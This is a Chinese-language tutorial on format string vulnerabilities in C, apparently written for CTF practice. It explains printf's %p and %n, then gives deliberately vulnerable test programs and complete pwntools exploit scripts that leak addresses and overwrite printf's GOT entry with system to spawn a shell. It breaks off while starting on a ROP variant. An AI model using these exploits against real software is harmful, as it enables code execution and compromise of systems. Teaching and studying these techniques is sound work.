格式化字符串漏洞

格式好,格式秒,格式化字符有门道,

泄露见我百步穿杨技,枪法要数回头望月高,

化整为零又将四马去分肥,还有那诸葛弩打出连环炮

格式化字符串format string),是在格式化输出 API 函数中用于指定输出参数的格式与相对位置的字符串参数;对于 C/C++ 的 printf() 函数,其中的转换说明conversion specification)用于将随后对应的 0 个或多个函数参数转换为相应的格式输出;其余字符则原样输出。

格式化字符串进入 printf() 函数之后,函数首先会获得第一个参数即格式化字符串本身,依次读取格式化字符串中的每一个字符:如果该字符为 % ,则继续读取下一个非空字符,获取对应的参数解析并输出;如果该字符不为 % ,则直接输出到标准输出

173

格式化字符串的基本形式为 %[parameter][flags][.precision][length] type

  • parameter 可忽略,或者是 n$ ,用来获取格式化字符串中的指定参数,例如

    int a = 1, b = 2;
    printf("%2$d,%1$d\n", a, b);
    

    输出结果为 2,1 ,第一个格式化参数指定获取第二个参数 b

  • flags 可为 0 个或多个,可以是 + 、空格、-# ,主要用于排版

  • field width 给出显示数值的最小宽度

  • precision 常指明输出的最大长度

  • length 指出浮点型参数或整型参数的长度

    • hh 输出 1 字节
    • h 输出 2 字节
    • l 输出 4 字节
    • ll 输出 8 字节
  • type 即转换说明

    • d / i :有符号整型,int
    • u :无符号整型,unsigned int
    • x / X :16 进制 unsigned intx 使用小写字母输出,X 使用大写字母输出
    • s :输出 NULL 结尾的字符串直到 precision 规定的上限,没有指定 precision 则输出所有字节
    • c :把 int 参数转换为 unsigned char 类型输出
    • pvoid* 型,输出对应变量(指针)的值
    • n :不输出字符,但是将已经成功输出的字符个数写入对应的整型指针参数所指向的变量

%c 通常用来输出单个字符,比如 printf("%c", 65); ,输出即为 A65A 的 ASCII 码,%cint 参数转为 unsigned char 类型输出;然而,结合 field width 这个参数就可以输出大量字符。如 printf("%100c");

174

原理

漏洞利用主要分为两大类,琪一是溢出,其二是歧义,即利用语法规范理解的偏差进行攻击。而格式化字符串漏洞就是利用歧义实现的。

printf 将格式化字符串中的占位符与其他参数整合出完整的字符串并输出,可如果我们直接忽略其他参数,而只传入格式化字符串本身,即 printf("%d\n");

175

输出的值非常诡异,但只要对格式化字符串稍作改动,即 printf("%p\n");

176

可以看出,printf 将内存地址泄漏了出来(实际上,由于是 64 位程序,按照对应的传参约定,这是 RDI 寄存器的值)。之所以会出现上述现象,主要是因为 printf 并不会检查格式化字符串里的占位符是否与所给的参数一一对应

printf 期望访问实参时,按照 C 语言调用栈传参约定,父函数会将实参倒序压入栈中,并且第一个参数与子函数的返回地址相邻,由此对于 32 位调用栈,第一个实参(即格式化字符串本身存放的地址)位于 ebp + 2 * sizeof(word) ,第二个实参位于 ebp + 3 * sizeof(word) ,以此类推。

177

那么,即使我们没有提供第二个实参(对应着占位符 %d ),printf 依然会按照原本的传参约定去栈上读取对应地址的数据,这样就会泄漏出栈上其他地址的数据。

特别地,对于 64 位调用栈,由于前 6 个参数以寄存器的形式传参,格式化字符串的第 7 个占位符才会泄漏栈上地址的数据。

一般程序书写不规范,printf("%s", buf) 偷懒写成 printf(buf) 会出现格式化字符串漏洞,但在真实环境出现较少,主流编译器甚至 IDE 均可以正确识别该漏洞。

给出如下 C 源码示例,编译 64 位程序:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int test1;
int init_func() {
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
	return 0;
}

int dofunc(){
	char buf1[0x10];
	char buf2[0x10];
	char buf3[0x10];
	int test2 = 0;
	int test3 = 0;

	while(1) {
		puts("input:");
		read(0, buf1, 0x100);
		printf(buf1);

		if(test3 == 100) system("/bin/sh");        
	}

	return 0;
}

int main() {
	init_func();
	dofunc();
	return 0;
}
// gcc fmt.c -o fmt -fstack-protector-all
// gcc -m32 fmt.c -o fmt_x86 -fstack-protector-all

178

程序开启了 PIE 保护,这使得 .text 段地址随机化,栈溢出保护也开启了,我们只需要篡改 test3 使之等于 100 即可 get shell. 而根据存在栈溢出保护机制时 char 先于 int 申请、后定义先入栈的原则,即使 buf1test3 均位于栈上,仍然不能通过溢出的方式从 buf1 覆盖到 test3 。关注到程序存在无限次数的 printf() 操作,考虑通过格式化字符串漏洞篡改。

利用 %k$p 可以泄漏指定参数的栈上地址内容,在 64 位程序中,使用 %6$p 即可输出 RSP 所指向的地址内容,而在 32 位程序中,%0$p 即栈顶元素所指向的指针内容。如下图,观察反汇编命令,执行 call printf 后会将当前函数(即父函数)的下一条指令和 RBP 先后压入栈中,则图中 RSP 指向的位置将是 printf 的第 7 个参数,先前 read 输入的 buf1 则是第 9 个参数,对应着 %8$p (这是因为 printf 第 1 个参数是格式化字符串本身,第 2 个参数开始才是实参):

179

遇见复杂的栈,我们通过追加 %p 从栈上不断取地址内容,逐步将数据打印出来,在 GDB 中对照着栈地址比对即可:

180

这样数栈的方法有时候未免麻烦,也可以 si 步进 printf() 内部(一定要执行完 call printf ,跳转到 printf() 内部) ,再通过 pwndbg 内置的 fmtarg 命令查询栈中某一个值对应的是 printf 的哪一个参数:

181

最终可以看到,printf 打印的是对应参数地址的内容

182

调用完 printf 输出地址后,紧跟着就是条件判断,比较 rbp - 0x24 的值是否等于 0x64100 ,如果不等于则通过 while 循环回到 read 输入处,等于则继续往下执行 system 。显然,rbp - 0x24 的值即为 test3 ,我们需要寻找办法将 rbp - 0x24 的值修改为 100 .

183

%n 是格式化字符串漏洞利用的核心所在,正如文章开头所列举,将 %n 占位符之前已经成功输出的字符个数写入对应参数所指向的地址内容(换言之,就是将解析到的内容算作地址覆写其所指向的内容)。%Xc%Y$n 这种形式的格式化字符串可以将已经输出的字符数写入到指定的参数,从而实现任意地址写数据。%Xc 即输出 X 个字符,%Y$n 指定写到第 Y + 1 个参数(实际上已经在栈上写入数据了)。

$n 一次性写入 4 字节,$hn 一次性写入 2 字节,$hhn 一次性写入 1 字节;视题目情况而选择不同的写入长度,大多数都会使用 $hn $hhn 这两个占位符

test3 写入数据前,需要先泄漏出 test3 的地址。对于栈上地址的泄漏我们已经驾轻就熟,先找到固定的基准泄漏地址,再通过偏移计算出待求地址——我们以 RBP 为准,泄漏出 RBP 地址的内容,再计算该内容所指向的地址test3 地址的偏移量即可。

我们回到 printf 函数内部开头, stack 查看栈布局,计算好偏移,利用 fmtarg 计算出对应的格式化字符串 %12$n 以泄漏 RBP 地址内容:

184

printf 输出的 RBP 地址内容实际上是一个字符串而非小端序数据,我们需要跳过开头的 0x 接收并将其转换为 16 进制数据,根据偏移计算出 test3 的地址:

185

p.recvline()
search_rbp = b'%12$p'
p.send(search_rbp)

rbp_stack = int(p.recv()[2:14], 16)
cmp_addr = rbp_stack - 0x44

获得 test3 地址后,可以利用 %Y$hhn (写入 100 这个数,1 字节就足够了)这一格式化字符串的特性,通过 readtest3 地址存放在栈上(这是因为 %n 写入的是指定参数地址对应的内容,需要构造一个指针指向要写入的地址), printf 对参数进行索引,找到并写入之前输入的字符长度到 test3 地址内容中,只要保证 %Y$hhn 前已经输出了 100 个字符,而这个条件可以通过 %100c 简便实现。

C 语言字符串以 \x00 声明结尾,而 test3 地址需要占用一整个内存单元,共 8 个字节,有效数据仅有 6 个字节,高位均为 \x00 ,由于小端序输入的逆序性,如果 test3 地址在指定写入数据的格式化字符串之前输入,printf 读取该字符串会提前终止而获得不到格式化字符串,因此 test3 地址应当放在格式化字符串之后,这样一改,栈的结构也会发生改变,对应的格式化字符串占位符参数也会改变。

一定要确保我们输入的 test3 地址完整地占满一整个内存单元,否则写入数据时会抛出异常。在 GDB 调试中我们发现:

186

buf1 起始地址开始,格式化字符串已经溢出了 4 个字符( \n U 是栈未对齐导致的无效数据,后面只需用 send() 即可规避)到第二个内存单元了;如果我们直接在后面写入 test3 地址,后续 printf 读取的时候会将前面 4 个字符一并读取而索引失败导致段错误。所以,我们还需要在格式化字符串后面跟着 4 个占位的字符,将第二个内存单元完全铺满,这样后面再输入地址时就会写在一整个内存单元中,便可以正常读取并写入到该地址了。完成这些栈对齐的操作后,再确定写入的 test3 地址对应 printf 的参数,很容易可以推算出完成对齐的字符串 $hhnaaaa 是第 10 个参数,那么 test3 地址就是第 11 个参数了,对应着 %10$hhn

payload = b'%100c%10$hhnaaaa' + p64(cmp_addr)
p.send(payload)
p.recv()		# 过滤不必要的垃圾输出

完整 Exp 脚本如下:

点击查看代码
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './fmt'

p = process(file)

p.recvline()
search_rbp = b'%12$p'
p.send(search_rbp)

rbp_stack = int(p.recv()[2:14], 16)
cmp_addr = rbp_stack - 0x44

payload = b'%100c%10$hhnaaaa' + p64(cmp_addr)
p.send(payload)
p.recv()

p.interactive()

接下来研究 32 位的情形。进入 GDB 调试,不难看出该程序对应的条件判断比较的是 ebp - 0x20 ,我们也可以知道 buf1 的存放地址:

187

这样就可以如法炮制,通过格式化字符串漏洞泄漏 EBP 的内容(需要注意,32 位参数存放到栈上,而非寄存器,所以参数从第 1 个数起),通过其内容对应的地址计算出相对于 test3 地址的偏移:

188

search_rbp = b'%14$p'
p.send(search_rbp)

rbp_stack = int(p.recv()[2:10], 16)
cmp_addr = rbp_stack - 0x40

需要注意,输出的 EBP 地址内容字符串包含 0x 和 8 个字符,需要通过字符串截取正确接收泄漏地址。

由于 32 位地址小端序输出不会出现 \x00 截断现象,可以将 test3 地址放在 buf1 字符串前面,后面跟着格式化字符串利用参数读取 test3 地址并写入;特别地,32 位地址的小端序形式占用 4 个字节,相当于 4 个字符,为使最终 %hhn 能够正确读取到 100 写入,只需要 %96c 补全 100 个字符即可:

189

payload = p32(cmp_addr) + b'%96c%7$hhn'
p.send(payload)

完整 Exp 脚本如下:

点击查看代码
from pwn import *
context(log_level='debug', arch='i386', os='linux')
file = './fmt_x86'

p = process(file)

p.recvline()
search_rbp = b'%14$p'
p.send(search_rbp)

rbp_stack = int(p.recv()[2:10], 16)
cmp_addr = rbp_stack - 0x40

payload = p32(cmp_addr) + b'%96c%7$hhn'
p.send(payload)
p.recv()

p.interactive()

栈上格式化字符串

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int init_func() {
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
	return 0;
}

int dofunc() {
	char buf[0x100];
	while(1) {
		puts("input:");
		read(0, buf, 0x100);
		if(!strncmp(buf, "quit", 4)) break;
		printf(buf);
	}
	return 0;
}

int main() {
	init_func();
	dofunc();
	return 0;
}
// gcc fmt_str_1.c -z lazy -o fmt_str_1_x64
// gcc -m32 fmt_str_1.c -z lazy -o fmt_str_1_x86

先讨论 32 位的情况:

190

显然存在格式化字符串漏洞,利用该漏洞,可以实现任意栈地址的读写。这个程序没有相应的后门函数,需要泄露出 libc 地址,尝试调用 system() ;而对于篡改函数执行流,有两种方法:

  1. 修改栈上地址内容:利用 %n 的写入,可以精准控制 dofunc() 返回地址以及参数的压栈,规避掉栈溢出保护形成的 canary,随后输入 quit 退出循环,从而在恢复主函数栈帧时跳转执行 system ,然而这一方法需要通过格式化字符串一一布栈,较为麻烦
  2. 修改 GOT 表项printf() 所在的 GOT 表项篡改为 system()buf 则写入 /bin/sh 字符串,这样原来 printf(buf); 在实际环境中会变为 system("/bin/sh"); ,从而 get shell;当然,printf() 改为 one gadget 也是可以的

首先,需要泄露出已知的 libc 库函数真实地址。程序中在调用 printf() 之前已经调用过 puts() ,则可以泄露 puts() GOT 表项内容,获取到 puts() 的真实地址;而格式化字符串中 %s 可以获取变量对应地址的数据,即将栈中数据当作一个地址,获取该地址的数据(存在 \x00 截断),也就是说,如果我们将 puts() 的 GOT 表项地址放入 buf 中,就可以通过 %s 索引到 buf 对应的存放地址,将该地址内容作为指针读取,直接获取到 GOT 表项存放的真实地址。

需要先获取到 puts() 的 GOT 表项地址,然而由于程序开启 PIE 保护,ELF 文件内部的地址均为随机的,还需要利用内存的地址进一步定位。在 GDB 调试中发现可以通过泄露 dofunc 的返回地址(距离 main() 函数入口处偏移 26 = 0x1a )来计算出 main() 函数入口处的真实地址:

191

main() 函数入口处与 GOT 表地址的相对偏移是不变的,只要得到了 main() 入口处的真实地址,就可以推断出 puts() GOT 表项的真实地址:

search_main = b'%75$p'
p.sendafter(b'input:\n', search_main)
# 接收 main+26 的地址
main_offset = int(p.recv()[2:10], 16)
main_addr = main_offset - 0x1a
# 计算 main() 到 puts GOT 的偏移
puts_offset = elf.symbols['main'] - elf.got['puts']
puts_got = main_addr - puts_offset

接下来,利用 read()puts() GOT 表项地址写入,并通过格式化字符串 %s 指定读取该地址所处的栈内容,从而泄露出 puts() 的真实地址,这样就可以进一步推断出 system() 的真实地址了:

search_base = flat([puts_got, b'%7$s'])
p.send(search_base)		# 之前的 recv() 会一并把 "input:\n" 也接收,直接发送即可
# 我们还不知道 %s 会返回什么,先调试一下看看接收了什么东西
p.recv()
gdb.attach(p)
pause()

中断,进入 GDB 调试,不难发现前 4 个字节数据是垃圾数据,而后面 4 个字节的数据才是 puts() 真实地址的小端序形式:

192

search_base = flat([puts_got, b'%7$s'])
p.send(search_base)
p.recv(4)		# 过滤 4 字节的垃圾数据
puts_addr = u32(p.recv(4))

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")

system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")

继续推算出 printf() GOT 表项地址,后面只需要将该地址内容修改为 system() 真实地址即可。倘若仿照之前的思路,可以结合 %n ,先输出 system() 真实地址对应的 16 进制数个字符,再通过格式化字符串写入到 GOT 表中,看似可行,然而在实际环境中会因为一次性写入数据过多而段错误崩溃。面对此种情况,需要使用循环算法通过 $hhn 逐字节写入(也可以查看 printf 函数和 system 函数的地址相差几字节,然后修改不同的部分),这里分享某位大佬编写的算法(仅适用于 32 位):

def fmt(prev, word, index):
    fmtstr = ''
    if prev < word:
        result = word - prev
        fmtstr += '%' + str(result) + 'c'
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = '%' + str(result) + 'c'
    fmtstr += '%' + str(index) + '$hhn'
    return fmtstr.encode('utf-8')

def fmt_str(offset, addr, target):
    """
    :param offset: 格式化字符串对应的参数偏移
    :param addr: 要修改的地址
    :param target: 目标地址
    :type offset: int
    :type addr: bytes
    :type target: bytes
    """
    payload = b''
    for i in range(4):	# 原代码有 64 位部分,通过条件判断实现,因失效删去
				payload += p32(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

该算法默认将函数地址放在发送的数据前面,格式化字符串放在后面,这种方法通常会在 64 位程序出现问题,主要是因为 64 位地址的小端序数据总共 8 字节,然而一般只有 6 字节有效,最高两位为 \x00以这种方式发送数据时会发生 \x00 截断,从而后面的格式化字符串无法传入,构造失败。

不推荐手动编写算法,不少算法代码兼容性差,针对不同情况会有所改动。我们使用 pwntools 的自动化 printf payload 编写函数 fmtstr_payload() ,返回一个可被发送的 payload 即 bytes 数据,较为完善:

  • 第一个参数 offset ,接收 buf 起始位置对应的格式化字符串偏移
  • 第二个参数 writes ,表示需要利用 %n 写入的数据,接收一个字典,key 对应着要修改的 GOT 表地址,value 对应着目标想要替换的 system 地址,形如 {printf_got: system_addr}
  • 第三个参数 numbwritten ,表示已经输出的字符个数,默认值为 0
  • 第四个参数 write_size, 表示写入的方式:字节(byte)、双字节(short)、四字节(int),对应 $hhn$hn$n ,默认值为 byte,即按照 $hhn 写入

我们只使用第一个和第二个参数,其余保持默认。这个自动生成的 payload 发送完成后,进入新的循环,只需要再发送 /bin/sh\x00 作为 buf ,随后篡改后的 printf(buf) 被成功替换为 system("/bin/sh") ,成功打通:

printf_offset = elf.symbols['main'] - elf.got['printf']
printf_got = main_addr - printf_offset
payload_refresh = fmtstr_payload(7, {printf_got: system_addr})

p.sendafter(b'input:\n', payload_refresh)
p.send(b'/bin/sh\x00')		# 一定要 \x00 截断字符串
p.recv()		# 过滤垃圾数据

完整 Exp 脚本如下:

点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')
file = './fmt_str_1_x86'
elf = ELF(file)

p = process(file)

search_main = b'%75$p'
p.sendafter(b'input:\n', search_main)

main_offset = int(p.recv()[2:10], 16)
main_addr = main_offset - 0x1a

puts_offset = elf.symbols['main'] - elf.got['puts']
puts_got = main_addr - puts_offset

search_base = flat([puts_got, b'%7$s'])
p.send(search_base)
p.recv(4)
puts_addr = u32(p.recv(4))

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")

system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")

printf_offset = elf.symbols['main'] - elf.got['printf']
printf_got = main_addr - printf_offset
payload_refresh = fmtstr_payload(7, {printf_got: system_addr})

p.sendafter(b'input:\n', payload_refresh)
p.send(b'/bin/sh\x00')
p.recv()

p.interactive()

我们再来研究一下 64 位的情形:

193

原理与 32 位一致,只需要关注泄露地址内容以推算 main() 函数入口地址、buf 输入起始地址所对应的格式化字符串占位符偏移即可,同时 %s 索引地址时需要注意 \x00 截断问题,将地址放在后面,格式化字符串放在前面(这样的话,还需要注意对齐一下栈数据),也要 GDB attach 调试查看一下 %s 返回的结果,根据输出进行接收:

194

195

可以看到,fmtstr_payload() 先发送格式化字符串,再发送函数地址,避免了出现 \x00 截断问题:

196

最终 Exp 脚本如下:

点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')
file = './fmt_str_1_x64'
elf = ELF(file)
p = process(file)

search_main = b'%41$p\x00'
p.sendafter(b'input:\n', search_main)

main_offset = int(p.recv()[2:14], 16)
main_addr = main_offset - 0x1c
puts_offset = elf.symbols['main'] - elf.got['puts']
puts_got = main_addr - puts_offset
search_base = flat([b'%7$saaaa', puts_got])		# 对齐栈数据
p.send(search_base)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")

printf_offset = elf.symbols['main'] - elf.got['printf']
printf_got = main_addr - printf_offset
payload_refresh = fmtstr_payload(6, {printf_got: system_addr})

p.sendafter(b'input:\n', payload_refresh)
p.send(b'/bin/sh\x00')
p.recv()

p.interactive()

非栈上格式化字符串

printf 对于格式化字符串发生歧义在于无法确定占位符偏移所指向的栈内容是否是攻击者输入的,从而造成栈内容泄露。但如果 printf 的输出对象位于 bss 段或者堆中,格式化字符串只能读取栈上内容,并不能直接读取非栈上的地址内容,此时实现任意地址写的过程便产生了巨大变化,需要充分利用内存中现有的地址进行处理。

给出如下 C 源码编译:

#include <stdio.h>
#include <unistd.h>
#include <string.h>
//HITCON-Training lab9
char buf[200];

int init_func() {		// 关闭缓冲区
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    return 0;
}

void do_fmt() {
	while(1) {
		read(0, buf, 200);
		if(!strncmp(buf, "quit", 4))
			break;
		printf(buf);
	}
	return;
}

void play() {
	puts("hello");
	do_fmt();
	return;
}

int main() {
	init_func();
	play();
	return 0;
}
// gcc fmt_str_2.c -z lazy -o fmt_str_2_x64
// gcc -m32 fmt_str_2.c -z lazy -o fmt_str_2_x86

在 C 语言中,可以通过调用 int setvbuf(FILE *stream, char *buffer, int mode, size_t size) 函数来禁止缓存。 其中,stream 参数指向要设置的文件流,buffer 参数指向一个缓冲区,如果 buffer 为 0(NULL),表示使用系统分配的缓冲区,mode 参数代表缓冲模式,2(_IONBF)表示无缓冲模式,size 是缓冲区的大小(以字节为单位)。这样,在程序运行时,所有输出到标准输出流的数据都会立即显示在屏幕上,而不会被缓存起来

研究 64 位的情形。还是一样的思路,printf 的 GOT 表项修改为 systembuf 中存入 /bin/sh 字符串,这样 printf(buf) 就被修改为 system("/bin/sh") 。从源码不难看出,程序定义了全局变量 buf ,存储在 bss 段上,而格式化字符串只会泄漏栈上内容,这使得我们不能直接利用格式化字符串读取写入 buf 的任意地址了。

以下方法的命名与利用来源于国资师傅,可谓是我的 pwn 启蒙导师,只可惜系列视频更新一半就停更了,如今为爱发电还是太难了 😦

四马分肥

printf 的 GOT 表项经延迟绑定后存放连续 8 字节的真实地址,有效位通常只占用 6 字节,考虑到之前因写入数据过多而造成的段错误,我们不能整体篡改 printf() 地址,而应分而治之,以 2 字节为单位,逐步修改每个单位的数据(只需要改 3 个单位,第 4 个单位即第 6~8 个字节通常是 \x00\x00 ,从而实现将 printf() 地址篡改为 system() 地址的目的。

197

%n 只能修改格式化字符串对应偏移的指针地址指向的内容,需要在栈上构造存放 printf[plt]printf[plt + 2]printf[plt + 4] 地址的指针以便修改 printf() GOT 表项;然而,同样由于避免写入数据过多导致段错误问题,不能完整写入一整个 GOT 表项地址,但我们可以通过 GDB 调试观察到如下几个地址:

198

这些地址处于 .text 段,与 .got.plt 段处于同一程序同一块连续内存区域,在 GDB 中 got 查看各 GOT 条目相对于程序装载地址的偏移:

199

vmmap 查看内存装载地址,获得程序的起始装载地址,与偏移相加即得 printf GOT 条目的真实地址:

200

实际上,.text 段地址到 .got.plt 段地址的偏移,最多也不会超过 0xffff ,换言之,只需要修改地址后 4 位 16 进制数就可以将原本处于 .text 段的修改到 .got.plt 段。因此,我们可以修改上述找到的地址内容后 4 位,使之分别构成指向 printf GOT 条目三个单位的指针。

修改这些地址内容需要借助双重指针,即指向指针的指针实现。程序存在 play()do_fmt() 的函数嵌套调用,就会存在三连指针( main() play() do_fmt() 三个函数依次调用形成的),下图中黄色填涂的为第一重指针,绿色填涂的即为第二重指针:

201

利用 %n 先修改该三连指针对应的第一重指针的内容(如上图,0x7fffffffe270 地址对应的内容),使之指向待修改的地址:

202

此时,我们就构造出了指向待修改地址的指针,就可以利用 %n 修改第二重指针指向的地址即待修改地址内容了。通过这样的两步 %n ,可以逐步将三个待修改的地址内容分别修改为 printf GOT 表项地址连续的三个内存单元。

205

在构造三个指向 printf GOT 条目的指针之前,由于 ASLR 栈地址随机化以及 PIE 保护,我们需要做好相关准备工作——先泄漏程序的装载地址(基地址),利用固有的 printf GOT 表偏移计算 printf GOT 表的真实地址,再将三连指针的地址内容泄漏出来:

203

最后,利用泄漏出来的三连指针地址内容(即第一重指针地址),通过偏移得出那三个需要分而治之修改为 GOT 表项三部分地址的真实地址:

204

# 推算 printf GOT 地址
p.recvuntil(b'hello\n')
search_main = b'%9$p\x00'
p.send(search_main)
main_offset = int(p.recv()[2:14], 16)
main_addr = main_offset - 0x1c
file_base = main_addr - elf.symbols['main']
printf_got = file_base + elf.got['printf']
# 泄漏三连指针地址内容
search_ptr = b'%10$p\x00'
p.send(search_ptr)
ptr_addr = int(p.recv()[2:14], 16)
stack_offsets = [0xb8, 0xa8, 0x78]

完成格式化字符串发送后一定要追加 \x00 声明结束,避免之前的输入影响本次输入。

接下来就按以上方法将这三个地址分别修改为 printf GOT 表项的三个单元即可;实现三个地址内容篡改为 printf GOT 表项各部分的代码逻辑一致,可以提炼出基本模型,再利用列表遍历循环更改参数以定位不同的地址就可以了。

stack_offsets = [0xb8, 0xa8, 0x78]
printf_offsets = [0, 2, 4]

for i in range(3):
  	# 指向待修改指针
    stack_addr = ptr_addr - stack_offsets[i]
    bytes_stack = stack_addr & 0xffff
    payload = b'%' + str(bytes_stack).encode() + b'c%10$hn\x00'
    p.send(payload)
    p.recv()
    p.interactive()
    # 通过指针修改地址内容
    printf_addr = printf_got + printf_offsets[i]
    bytes_printf = printf_addr & 0xffff
    payload = b'%' + str(bytes_printf).encode() + b'c%30$hn\x00'
    p.send(payload)
    p.recv()
    p.interactive()
  • 一个地址 & 0xffff 的操作将获取该地址的低位 2 字节即低 16 位二进制数& 是按位与(bitwise AND)操作符,只有当两个位均为 1 时,结果才为 1,否则为 0. 0xffff 的二进制形式低 16 位均为 1,其余高位均为 0,当一个地址和 0xffff 按位与操作后,地址的低 16 位与 1 相与,保持不变;而高位则与 0 相与,全部变为 0. 这样,此种操作将会取出地址的低 2 字节数据,即末尾 4 个 16 进制数
  • str() 将整数转换为字符串,其方法 encode() 则可以将字符串进一步转化为字节串,默认按 UTF-8 编码
  • %c 将先前输出的字符数写入,每次只写入 2 字节,采用 %hn
  • 由于关闭了缓冲区且每次发送的 payload 较长,使用 p.interactive() 以模拟缓冲区响应,需要手动 Ctrl + C 退出交互以继续发送剩下的 payload

212

system() 真实地址也是通过格式化字符串寻找存放 libc 库函数地址的栈泄漏并找到正确的偏移计算得到,按照 2 字节为单位划分为三块:

search_libc_base = b'%31$p\x00'
p.send(search_libc_base)
libc_start_main_offset = int(p.recv()[2:14], 16)
libc_start_main_addr = libc_start_main_offset - 0x8b
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc_base = u64(p64(libc_start_main_addr)) - libc.dump('__libc_start_main')		# 确保格式正确,运算合法
system_addr = libc_base + libc.dump('system')
# 分别按 2 字节提取 system 地址
sys_1 = system_addr & 0xffff
sys_2 = (system_addr >> 16) & 0xffff
sys_3 = (system_addr >> 32) & 0xffff

位运算符 >> 会将源操作数右移目标操作数(位),相当于直接舍弃原地址的低目标操作数位,2 字节数据;这样不断右移 16 位,取低 16 位,就可以将地址的每个 2 字节数据分别提取出来,便于之后分块写入到 printf GOT 表中。

printf GOT 表项需要篡改的每部分对应的指针布置好之后,需要一次性将 printf GOT 表地址内容修改为 system() 真实地址,否则下一次循环调用 printf() 时将会因为存储的真实地址被篡改失效而抛出异常。

但需要注意,%c 会读取自身之前全部输出的字符,对于第二个 printf GOT 表项单元的修改,由于第一个已经输出了 sys_1 个字符,还需要额外输出 0x10000 + sys_2 - sys_10x10000 作用相当于绝对值,避免两个数相减出现负数)个字符,第三个也额外输出 0x10000 + sys_3 - sys_2 个字符,只要确保每部分记录的输出字符均为自身要写入的内容即可;最后在 buf 里传入 /bin/sh 字符串:

payload = b'%' + str(sys_1).encode() + b'c%7$hn'
payload += b'%' + str(0x10000 + sys_2 - sys_1).encode() + b'c%9$hn'
payload += b'%' + str(0x10000 + sys_3 - sys_2).encode() + b'c%15$hn'
payload += b'\x00'
p.send(payload)
p.recv()
p.interactive()

p.send(b'/bin/sh\x00')
p.interactive()

脚本实际运行中,我们只需不断手动 Ctrl + C 取消命令行交互,直到发送完 /bin/sh 字符串为止。可能会偶尔出现 EOF 段错误的情况,对于格式化字符串漏洞利用属正常现象,多打几次,GDB 排查一下发生其他错误的可能性,就可以打通了。

完整 Exp 脚本如下:

点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')
file = './fmt_str_2_x64'
elf = ELF(file)
p = process(file)

p.recvuntil(b'hello\n')
search_main = b'%9$p\x00'
p.send(search_main)
main_offset = int(p.recv()[2:14], 16)
main_addr = main_offset - 0x1c
file_base = main_addr - elf.symbols['main']
printf_got = file_base + elf.got['printf']

search_libc_base = b'%31$p\x00'
p.send(search_libc_base)
libc_start_main_offset = int(p.recv()[2:14], 16)
libc_start_main_addr = libc_start_main_offset - 0x8b
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc_base = u64(p64(libc_start_main_addr)) - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')

search_ptr = b'%10$p\x00'
p.send(search_ptr)
ptr_addr = int(p.recv()[2:14], 16)

stack_offsets = [0xb8, 0xa8, 0x78]
printf_offsets = [0, 2, 4]

for i in range(3):
    stack_addr = ptr_addr - stack_offsets[i]
    bytes_stack = stack_addr & 0xffff
    payload = b'%' + str(bytes_stack).encode() + b'c%10$hn\x00'
    p.send(payload)
    p.recv()
    p.interactive()

    printf_addr = printf_got + printf_offsets[i]
    bytes_printf = printf_addr & 0xffff
    payload = b'%' + str(bytes_printf).encode() + b'c%30$hn\x00'
    p.send(payload)
    p.recv()
    p.interactive()

sys_1 = system_addr & 0xffff
sys_2 = (system_addr >> 16) & 0xffff
sys_3 = (system_addr >> 32) & 0xffff

payload = b'%' + str(sys_1).encode() + b'c%7$hn'
payload += b'%' + str(0x10000 + sys_2 - sys_1).encode() + b'c%9$hn'
payload += b'%' + str(0x10000 + sys_3 - sys_2).encode() + b'c%15$hn'
payload += b'\x00'
p.send(payload)
p.recv()
p.interactive()

p.send(b'/bin/sh\x00')
p.interactive()

总结一下,四马分肥的思路是:

  1. 使用现有的三连指针通过修改最低 \(x\)构造出存储待修改地址的指针
  2. 修改待修改地址的值为 GOT 表项的最低 \(x\)
  3. 以上步骤 * 4
  4. 一次性修改所有的内容,将 GOT 表项值改成 system()

诸葛连弩

上述方法可以直接打通的前提是未开启 Full Relro 保护,一旦开启了,GOT 表没有写权限,此时可以考虑不通过 GOT 表,直接修改栈上返回地址,构造 ROP 链调用 shell;此种情况下,四马分肥就显得复杂而臃肿,这里提供另一个较为直观简洁的方法。

先将之前的源码按 Ubuntu 16.04 环境编译(保证 ROP 相关的 gadget 存在)并运行,或者在 Ubuntu 新版本环境中利用 patchelf 将编译好的程序附加到 glibc-2.23 旧版本库上运行:

patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so fmt_str_2_x64_stack
patchelf --replace-needed libc.so.6 ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so fmt_str_2_x64_stack

修改 main() 返回地址,利用格式化字符串漏洞任意写栈上地址构造 ROP 链传入参数,如下图所示。我们需要通过多层嵌套指针来实现任意地址写:

206

